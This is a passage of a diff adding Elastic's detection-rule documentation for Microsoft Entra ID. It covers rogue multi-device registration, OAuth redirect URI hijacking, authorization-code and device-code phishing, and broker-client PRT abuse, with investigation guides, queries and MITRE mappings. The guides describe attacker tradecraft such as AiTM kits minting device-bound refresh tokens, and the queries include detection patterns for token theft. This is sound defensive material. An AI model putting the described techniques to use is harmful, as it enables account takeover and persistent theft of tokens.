registering multiple distinct devices in quick succession is uncommon and is the fingerprint behavior of adversary-in-the-middle (AiTM) phishing kits and stolen-token replay tooling (for example Kali365), which mint a new Azure AD-joined device, and therefore a new Primary Refresh Token (PRT), per relay or replay attempt. Each registered device is a separate certificate-bound principal whose PRT survives user-level session revocation and password resets, so multiple registrations on a single low-privilege identity establish device-bound persistence at scale. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://any.run/malware-trends/kali365/ +* https://www.huntress.com/blog/kali365-device-code-phishing-kit +* https://www.ic3.gov/PSA/2026/PSA260521 +* https://arcticwolf.com/resources/blog/token-bingo-dont-let-your-code-be-the-winner/ + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Audit Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Initial Access +* Tactic: Credential Access +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Normal +* Rule Type: ES|QL +* Platform: Entra ID + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Multiple Device Registrations by a Single User* + + +A single Entra ID "Register device" event is routine: a user enrolling one device emits one registration. Concentrating three or more distinct device registrations onto one user inside a 15-minute window is uncommon for legitimate activity and is the fingerprint of either: + +- An AiTM phishing-kit relay session that, after capturing the victim's sign-in, registers one or more Azure AD-joined devices of its own from the kit infrastructure within minutes (observed cadence of roughly one device every 2-6 minutes, e.g. Kali365 registering five devices in ~12 minutes). +- Token-replay tooling driving multiple device joins in quick succession off a stolen refresh token or PRT. + +Each registered device is a separate principal with its own certificate-bound PRT. Because user-level controls (`revokeSignInSessions`, password reset) do not invalidate device-bound PRTs, every device left in place is an independent, persistent foothold. + + +*Possible investigation steps* + + +- Identify the user (`azure.auditlogs.properties.initiated_by.user.userPrincipalName`) and review the registered devices in `Esql.device_name_values`. Tool-driven joins frequently use default Windows-style names such as `DESKTOP-<6 alphanumeric>` and a homogeneous, hardcoded OS build. +- Inspect `Esql.user_agent_values` from the `Register device` events. A spoofed Windows device-registration client string (`Dsreg/10.0 (Windows )`) or a raw HTTP client (`axios/*`, `python-requests/*`, `Microsoft.OData.Client/*`) instead of a genuine browser/endpoint user agent is high-fidelity tooling. +- Pivot to the paired `Add device` events for each device (correlate via `azure.correlation_id`) and review the modified properties: `DeviceOSType`, `DeviceOSVersion`/`CloudDeviceOSVersion`, and `DeviceTrustType`. A `DeviceTrustType` of `AzureAd` (full join) on a low-privilege user, and an identical hardcoded OS build across all devices in the window, are strong indicators. +- Review the origin surfaced on the alert: `Esql.source_ip_values`, `Esql.source_as_number_values`, `Esql.source_as_organization_values`, and `Esql.source_country_values`/`Esql.source_city_values`/`Esql.source_region_values`. Hosting/VPS ASNs (for example Tencent, Alibaba, or other cloud providers) and unexpected geographies for a device-registration event are high-fidelity suspicious. A single source IP/ASN across every registration in the window is consistent with one piece of kit infrastructure driving the joins. +- Cross-reference `logs-azure.signinlogs-*` for the same user around the registration window. The registrations are brokered through the `Microsoft Authentication Broker` application against the `Device Registration Service` resource; confirm whether the broker was subsequently used to mint tokens for other resources (for example Microsoft Graph) from the same source. +- Cross-reference `logs-azure.auditlogs-*` for a security-info / MFA method registration (`User registered security info`) by the same user near the registration window; AiTM kits commonly plant their own MFA method alongside the device persistence. +- Confirm with the user whether they performed a multi-device enrollment or onboarding action during the window. + + +*False positive analysis* + + +- New-device or onboarding flows where a user enrolls three or more devices in a short window can fire. Validate against the user's known device inventory and any onboarding or device-refresh events. +- Bulk provisioning, autopilot, or MDM rollouts can register multiple devices per user concurrently. Consider suppression during planned rollouts. +- If benign multi-device enrollment is routine in the environment, raise the distinct-device threshold or shorten the window. + + +*Response and remediation* + + +- Treat as likely AiTM compromise or token replay until proven otherwise. Remove the rogue device registrations BEFORE revoking sessions, because device-bound PRTs survive `revokeSignInSessions` and a device left in place re-establishes access. + - `GET /v1.0/users/{id}/registeredDevices` and `/ownedDevices`, then `DELETE /v1.0/devices/{deviceObjectId}` for each unrecognized device in the window. +- Revoke refresh tokens and sessions, then reset credentials and re-register MFA. + - `POST /v1.0/users/{id}/revokeSignInSessions`. +- Temporarily disable the account if activity must be halted during investigation. + - `PATCH /v1.0/users/{id}` with body `{"accountEnabled": false}`. +- Remove other attacker persistence established alongside the device joins: attacker-registered MFA methods, malicious inbox/forwarding rules, and OAuth consents. +- Hunt for the same device-name pattern, OS build, and registration user agent across other users and tenants, and apply Conditional Access to restrict device registration (require a compliant/managed device or trusted network). + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-azure.auditlogs-* +| where data_stream.dataset == "azure.auditlogs" + and azure.auditlogs.operation_name == "Register device" + and azure.auditlogs.properties.initiated_by.user.userPrincipalName is not null + // For "Register device" the registered device is the primary target resource (index 0); + // target_resources is a numeric-indexed object array in this integration, so wildcard/name-based matching is not available. + and `azure.auditlogs.properties.target_resources.0.display_name` is not null + +| eval Esql.bucket_window = date_trunc(15 minutes, @timestamp) + +| stats + Esql.count_distinct_devices = count_distinct(`azure.auditlogs.properties.target_resources.0.display_name`), + Esql.device_name_values = values(`azure.auditlogs.properties.target_resources.0.display_name`), + Esql.user_agent_values = values(azure.auditlogs.properties.userAgent), + Esql.source_ip_values = values(source.ip), + Esql.source_as_number_values = values(source.`as`.number), + Esql.source_as_organization_values = values(source.`as`.organization.name), + Esql.source_country_values = values(source.geo.country_name), + Esql.source_city_values = values(source.geo.city_name), + Esql.source_region_values = values(source.geo.region_name), + Esql.correlation_id_values = values(azure.correlation_id), + Esql.timestamp_first_seen = min(@timestamp), + Esql.timestamp_last_seen = max(@timestamp), + Esql.event_count = count(*) + by azure.auditlogs.properties.initiated_by.user.userPrincipalName, Esql.bucket_window + +| where Esql.count_distinct_devices >= 3 + +| keep azure.auditlogs.properties.initiated_by.user.userPrincipalName, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Device Registration +** ID: T1098.005 +** Reference URL: https://attack.mitre.org/techniques/T1098/005/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Adversary-in-the-Middle +** ID: T1557 +** Reference URL: https://attack.mitre.org/techniques/T1557/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-oauth-application-redirect-uri-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-oauth-application-redirect-uri-modified.asciidoc new file mode 100644 index 0000000000..5d30879607 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-oauth-application-redirect-uri-modified.asciidoc @@ -0,0 +1,131 @@ +[[prebuilt-rule-8-19-34-entra-id-oauth-application-redirect-uri-modified]] +=== Entra ID OAuth Application Redirect URI Modified + +Identifies modifications to OAuth application redirect URIs (ReplyUrls) in Entra ID. Adding an attacker-controlled redirect URI to an existing trusted application allows interception of OAuth authorization codes when users authenticate through that application's normal login flow, enabling token theft without requiring a new application registration or consent event. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.auditlogs-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/entra/identity-platform/reply-url +* https://www.microsoft.com/en-us/security/blog/2026/03/02/oauth-redirection-abuse-enables-phishing-malware-delivery/ + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Audit Logs +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Tactic: Credential Access +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Entra ID + +*Version*: 3 + +*Rule authors*: + +* Elastic +* descambiado + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID OAuth Application Redirect URI Modified* + + +A redirect URI addition to an existing trusted application does not generate a consent event and does +not require registering a new application -- both of which are commonly monitored. The modified +application retains all existing user consents. + + +*Possible investigation steps* + + +- Identify the actor who modified the application (`azure.auditlogs.properties.initiated_by`) and + verify whether the change was authorized by the application owner or a change management ticket. +- Review the specific URIs added by comparing `modifiedProperties.oldValue` and `newValue` for the + `ReplyUrls` field in the audit event's `target_resources`. +- Geolocate and WHOIS the domain of any newly added URI -- hosting providers, recently registered + domains, or URL shorteners are strong indicators of compromise. +- Check whether the actor recently became an owner of this application: look for + "Add owner to application" events in AuditLogs for the same application object ID. +- Review the application's Graph API permissions -- applications with Mail, Files, or directory + scopes are the highest-value targets for redirect URI hijacking. + + +*False positive analysis* + + +- Localhost and loopback URIs (`http://localhost:*`, `http://127.0.0.1:*`) added by developers are + expected in non-production applications. Verify the application's sensitivity before closing. +- CI/CD-driven URI updates typically originate from service principal actors, not human users. + + +*Response and remediation* + + +- Remove the unauthorized redirect URI via Entra ID > App registrations > Authentication. +- Revoke all tokens issued to the application since the modification timestamp. +- Review sign-in logs for the application for any sign-ins from unexpected sources after the change. +- If the URI was externally controlled, treat as a full OAuth token compromise for all users of + the application and initiate token revocation and user notification. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "azure.auditlogs" and +azure.auditlogs.operation_name: "Update application" and +event.outcome: ("Success" or "success") and +azure.auditlogs.properties.target_resources.*.modified_properties.*.display_name: "AppAddress" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-oauth-authorization-code-grant-for-unusual-user-app-and-resource.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-oauth-authorization-code-grant-for-unusual-user-app-and-resource.asciidoc new file mode 100644 index 0000000000..fc3ddda4ff --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-oauth-authorization-code-grant-for-unusual-user-app-and-resource.asciidoc @@ -0,0 +1,212 @@ +[[prebuilt-rule-8-19-34-entra-id-oauth-authorization-code-grant-for-unusual-user-app-and-resource]] +=== Entra ID OAuth Authorization Code Grant for Unusual User, App, and Resource + +Identifies the first occurrence of an OAuth 2.0 authorization code grant flow for a specific combination of client application, target resource, and user principal in Microsoft Entra ID. Developer tools like Azure CLI, Visual Studio Code, and Azure PowerShell accessing Microsoft Graph or legacy Azure AD are flagged for infrequent or first time usage by a user. Additionally, any FOCI (Family of Client IDs) application accessing the deprecated Windows Azure Active Directory for the first time is flagged since this resource is rarely accessed legitimately. This pattern is indicative of OAuth phishing attacks like ConsentFix, where attackers steal authorization codes and exchange them for tokens from attacker controlled infrastructure. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-azure.signinlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://pushsecurity.com/blog/consentfix +* https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/ +* https://learn.microsoft.com/en-us/entra/identity-platform/v2-oauth2-auth-code-flow +* https://github.com/secureworks/family-of-client-ids-research + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Sign-In Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Credential Access +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: New Terms +* Platform: Entra ID + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID OAuth Authorization Code Grant for Unusual User, App, and Resource* + + +This New Terms rule detects the first occurrence of an OAuth 2.0 authorization code grant flow for a specific combination of client application ID, target resource ID, and user principal within the last 14 days. When a user has never used a particular app+resource combination and it involves FOCI applications or legacy Azure AD, this may indicate OAuth phishing attacks like ConsentFix. + +The rule is particularly effective at catching attacks where adversaries use stolen OAuth codes with first-party apps to access resources the victim has never accessed before. For example, if a non-developer suddenly uses Azure CLI to access legacy AAD for the first time, this is highly suspicious regardless of other factors. + + +*Possible investigation steps* + + +- Review `azure.signinlogs.properties.user_principal_name` to identify the affected user and determine if they are a developer who would legitimately use these tools. +- Check `azure.signinlogs.properties.app_display_name` to confirm which application was used. Azure CLI or PowerShell access by non-technical users is suspicious. +- Examine `azure.signinlogs.properties.resource_id` to identify the target resource. Legacy AAD (`00000002-0000-0000-c000-000000000000`) access is unusual for most users. +- Analyze `source.ip` and `source.geo.*` for geographic anomalies. ConsentFix attackers exchange codes from different IPs than the victim. +- Review `azure.signinlogs.properties.is_interactive` - if this is a non-interactive sign-in shortly after an interactive one from a different IP, it indicates token replay. +- Correlate with other sign-in events using `azure.signinlogs.properties.session_id` to identify the full OAuth flow sequence. +- Pivot to `azure.graphactivitylogs` to search for subsequent Graph API or AAD API activity from unusual locations. +- Check `azure.auditlogs` for device registration events around the same timeframe. + + +*False positive analysis* + + +- Developers or IT administrators legitimately using Azure CLI, PowerShell, or VS Code for the first time to access specific resources. +- Users onboarding to new development environments or receiving new tooling. +- Automation scripts that run with user-delegated permissions for the first time. +- Consider the user's role and typical activity patterns when evaluating alerts. + + +*Response and remediation* + + +- Contact the user to confirm if they initiated the OAuth flow and used the detected application. +- If unauthorized, immediately revoke all refresh tokens for the user via Microsoft Entra ID. +- Review recent activity from the same `session_id` for signs of data access or enumeration. +- Block the source IP if confirmed malicious. +- Implement Conditional Access policies to restrict OAuth flows for these applications to compliant devices. +- Educate users about OAuth phishing and the risks of pasting authorization codes. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "azure.signinlogs" and + event.outcome: "success" and + azure.signinlogs.properties.user_type: "Member" and + ( + ( + azure.signinlogs.properties.app_id: ( + "04b07795-8ddb-461a-bbee-02f9e1bf7b46" or + "aebc6443-996d-45c2-90f0-388ff96faa56" or + "1950a258-227b-4e31-a9cf-717495945fc2" + ) and + azure.signinlogs.properties.resource_id: ( + "00000002-0000-0000-c000-000000000000" or + "00000003-0000-0000-c000-000000000000" + ) + ) or + ( + azure.signinlogs.properties.app_id: ( + "00b41c95-dab0-4487-9791-b9d2c32c80f2" or + "1fec8e78-bce4-4aaf-ab1b-5451cc387264" or + "26a7ee05-5602-4d76-a7ba-eae8b7b67941" or + "27922004-5251-4030-b22d-91ecd9a37ea4" or + "4813382a-8fa7-425e-ab75-3b753aab3abb" or + "ab9b8c07-8f02-4f72-87fa-80105867a763" or + "872cd9fa-d31f-45e0-9eab-6e460a02d1f1" or + "af124e86-4e96-495a-b70a-90f90ab96707" or + "2d7f3606-b07d-41d1-b9d2-0d0c9296a6e8" or + "844cca35-0656-46ce-b636-13f48b0eecbd" or + "87749df4-7ccf-48f8-aa87-704bad0e0e16" or + "cf36b471-5b44-428c-9ce7-313bf84528de" or + "0ec893e0-5785-4de6-99da-4ed124e5296c" or + "22098786-6e16-43cc-a27d-191a01a1e3b5" or + "4e291c71-d680-4d0e-9640-0a3358e31177" or + "57336123-6e14-4acc-8dcf-287b6088aa28" or + "57fcbcfa-7cee-4eb1-8b25-12d2030b4ee0" or + "66375f6b-983f-4c2c-9701-d680650f588f" or + "a40d7d7d-59aa-447e-a655-679a4107e548" or + "a569458c-7f2b-45cb-bab9-b7dee514d112" or + "b26aadf8-566f-4478-926f-589f601d9c74" or + "c0d2a505-13b8-4ae0-aa9e-cddd5eab0b12" or + "d326c1ce-6cc6-4de2-bebc-4591e5e13ef0" or + "e9c51622-460d-4d3d-952d-966a5b1da34c" or + "eb539595-3fe1-474e-9c1d-feb3625d1be5" or + "ecd6b820-32c2-49b6-98a6-444530e5a77a" or + "f05ff7c9-f75a-4acd-a3b5-f4b6a870245d" or + "f44b1140-bc5e-48c6-8dc0-5cf5a53c0e34" or + "be1918be-3fe3-4be9-b32b-b542fc27f02e" or + "cab96880-db5b-4e15-90a7-f3f1d62ffe39" or + "d7b530a4-7680-4c23-a8bf-c52c121d2e87" or + "dd47d17a-3194-4d86-bfd5-c6ae6f5651e3" or + "e9b154d0-7658-433b-bb25-6b8e0a8a7c59" + ) and + azure.signinlogs.properties.resource_id: "00000002-0000-0000-c000-000000000000" + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ +* Technique: +** Name: Trusted Relationship +** ID: T1199 +** Reference URL: https://attack.mitre.org/techniques/T1199/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-oauth-device-code-flow-with-concurrent-sign-ins.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-oauth-device-code-flow-with-concurrent-sign-ins.asciidoc new file mode 100644 index 0000000000..ddfb2dcd23 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-oauth-device-code-flow-with-concurrent-sign-ins.asciidoc @@ -0,0 +1,166 @@ +[[prebuilt-rule-8-19-34-entra-id-oauth-device-code-flow-with-concurrent-sign-ins]] +=== Entra ID OAuth Device Code Flow with Concurrent Sign-ins + +Identifies Entra ID device code authentication flows where multiple user agents are observed within the same session. This pattern is indicative of device code phishing, where an attacker's polling client (e.g., Python script) and the victim's browser both appear in the same authentication session. In legitimate device code flows, the user authenticates via browser while the requesting application polls for tokens - when these have distinctly different user agents (e.g., Python Requests vs Chrome), it may indicate the code was phished and redeemed by an attacker. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/entra/identity/ +* https://learn.microsoft.com/en-us/entra/identity/monitoring-health/concept-sign-ins +* https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-azure-monitor-sign-ins-log-schema +* https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/ +* https://www.wiz.io/blog/recent-oauth-attacks-detection-strategies + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Entra ID +* Data Source: Entra ID Sign-In +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Device Code Phishing +* Rule Type: ES|QL +* Platform: Entra ID + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID OAuth Device Code Flow with Concurrent Sign-ins* + + + +*Possible investigation steps* + + +- Review the sign-in logs to assess the context and reputation of the source.ip address. +- Investigate the user account associated with the successful sign-in to determine if the activity aligns with expected behavior or if it appears suspicious. +- Check for any recent changes or anomalies in the user's account settings or permissions that could indicate compromise. +- Review the history of sign-ins for the user to identify any patterns or unusual access times that could suggest unauthorized access. +- Assess the device from which the sign-in was attempted to ensure it is a recognized and authorized device for the user. + + +*Response and remediation* + + +- Immediately revoke the compromised Primary Refresh Tokens (PRTs) to prevent further unauthorized access. This can be done through the Azure portal by navigating to the user's account and invalidating all active sessions. +- Enforce a password reset for the affected user accounts to ensure that any credentials potentially compromised during the attack are no longer valid. +- Implement additional Conditional Access policies that require device compliance checks and restrict access to trusted locations or devices only, to mitigate the risk of future PRT abuse. +- Conduct a thorough review of the affected accounts' recent activity logs to identify any unauthorized actions or data access that may have occurred during the compromise. +- Escalate the incident to the security operations team for further investigation and to determine if there are any broader implications or additional compromised accounts. +- Enhance monitoring by configuring alerts for unusual sign-in patterns or device code authentication attempts from unexpected locations or devices, to improve early detection of similar threats. +- Coordinate with the incident response team to perform a post-incident analysis and update the incident response plan with lessons learned from this event. + +==== Setup + + + +*Required Azure Entra Sign-In Logs* + +This rule requires the Azure logs integration be enabled and configured to collect all logs, including sign-in logs from Entra. In Entra, sign-in logs must be enabled and streaming to the Event Hub used for the Azure logs integration. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-azure.signinlogs-* metadata _id, _version, _index + +| where event.category == "authentication" and data_stream.dataset == "azure.signinlogs" and + azure.signinlogs.properties.original_transfer_method == "deviceCodeFlow" + +// Track events with deviceCode authentication protocol (browser auth) vs polling client +| eval is_device_code_auth = case(azure.signinlogs.properties.authentication_protocol == "deviceCode", 1, 0) + +| stats Esql.count_logon = count(*), + Esql.device_code_auth_count = sum(is_device_code_auth), + Esql.timestamp_values = values(@timestamp), + Esql.source_ip_count_distinct = count_distinct(source.ip), + Esql.user_agent_count_distinct = count_distinct(user_agent.original), + Esql.user_agent_values = values(user_agent.original), + Esql.authentication_protocol_values = values(azure.signinlogs.properties.authentication_protocol), + Esql.azure_signinlogs_properties_client_app_values = values(azure.signinlogs.properties.app_display_name), + Esql.azure_signinlogs_properties_app_id_values = values(azure.signinlogs.properties.app_id), + Esql.azure_signinlogs_properties_resource_display_name_values = values(azure.signinlogs.properties.resource_display_name), + Esql.azure_signinlogs_properties_auth_requirement_values = values(azure.signinlogs.properties.authentication_requirement), + Esql.azure_signinlogs_properties_tenant_id = values(azure.tenant_id), + Esql.azure_signinlogs_properties_status_error_code_values = values(azure.signinlogs.properties.status.error_code), + Esql.message_values = values(message), + Esql.azure_signinlogs_properties_resource_id_values = values(azure.signinlogs.properties.resource_id), + Esql.source_ip_values = values(source.ip) + by azure.signinlogs.properties.session_id, azure.signinlogs.identity + +// Require: 2+ events, at least one deviceCode auth protocol event, and either 2+ IPs or 2+ user agents +| where Esql.count_logon >= 2 and Esql.device_code_auth_count >= 1 and (Esql.source_ip_count_distinct >= 2 or Esql.user_agent_count_distinct >= 2) +| keep + Esql.*, + azure.signinlogs.properties.session_id, + azure.signinlogs.identity + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-oauth-device-code-grant-by-microsoft-authentication-broker.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-oauth-device-code-grant-by-microsoft-authentication-broker.asciidoc new file mode 100644 index 0000000000..e80fb09c81 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-oauth-device-code-grant-by-microsoft-authentication-broker.asciidoc @@ -0,0 +1,167 @@ +[[prebuilt-rule-8-19-34-entra-id-oauth-device-code-grant-by-microsoft-authentication-broker]] +=== Entra ID OAuth Device Code Grant by Microsoft Authentication Broker + +Identifies device code authentication with an Azure broker client for Entra ID. Adversaries abuse Primary Refresh Tokens (PRTs) to bypass multi-factor authentication (MFA) and gain unauthorized access to Azure resources. PRTs are used in Conditional Access policies to enforce device-based controls. Compromising PRTs allows attackers to bypass these policies and gain unauthorized access. This rule detects successful sign-ins using device code authentication with the Entra ID broker client application ID (29d9ed98-a469-4536-ade2-f981bc1d605e). + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-azure.signinlogs-* +* logs-azure.activitylogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://dirkjanm.io/assets/raw/Phishing%20the%20Phishing%20Resistant.pdf +* https://learn.microsoft.com/en-us/troubleshoot/azure/entra/entra-id/governance/verify-first-party-apps-sign-in +* https://learn.microsoft.com/en-us/azure/azure-monitor/reference/tables/signinlogs + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Use Case: Identity and Access Audit +* Tactic: Initial Access +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Threat: Device Code Phishing +* Rule Type: Custom Query (KQL) +* Platform: Entra ID +* Platform: Azure +* Domain: Identity +* Data Source: Azure Activity Logs + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Entra ID OAuth Device Code Grant by Microsoft Authentication Broker* + + +Entra ID Device Code Authentication allows users to authenticate devices using a code, facilitating seamless access to Azure resources. Adversaries exploit this by compromising Primary Refresh Tokens (PRTs) to bypass multi-factor authentication and Conditional Access policies. The detection rule identifies unauthorized access attempts by monitoring successful sign-ins using device code authentication linked to a specific broker client application ID, flagging potential misuse. + + +*Possible investigation steps* + + +- Review the sign-in logs to confirm the use of device code authentication by checking the field azure.signinlogs.properties.authentication_protocol for the value deviceCode. +- Verify the application ID involved in the sign-in attempt by examining azure.signinlogs.properties.conditional_access_audiences.application_id and ensure it matches 29d9ed98-a469-4536-ade2-f981bc1d605e. +- Investigate the user account associated with the successful sign-in to determine if the activity aligns with expected behavior or if it appears suspicious. +- Check for any recent changes or anomalies in the user's account settings or permissions that could indicate compromise. +- Review the history of sign-ins for the user to identify any patterns or unusual access times that could suggest unauthorized access. +- Assess the device from which the sign-in was attempted to ensure it is a recognized and authorized device for the user. + + +*False positive analysis* + + +- Legitimate device code authentication by trusted applications or users may trigger the rule. Review the application ID and user context to confirm legitimacy. +- Frequent access by automated scripts or services using device code authentication can be mistaken for unauthorized access. Identify and document these services, then create exceptions for known application IDs. +- Shared devices in environments with multiple users may cause false positives if device code authentication is used regularly. Implement user-specific logging to differentiate between legitimate and suspicious activities. +- Regular maintenance or updates by IT teams using device code authentication might be flagged. Coordinate with IT to schedule these activities and temporarily adjust monitoring rules if necessary. +- Ensure that any exceptions or exclusions are regularly reviewed and updated to reflect changes in the environment or application usage patterns. + + +*Response and remediation* + + +- Immediately revoke the compromised Primary Refresh Tokens (PRTs) to prevent further unauthorized access. This can be done through the Azure portal by navigating to the user's account and invalidating all active sessions. 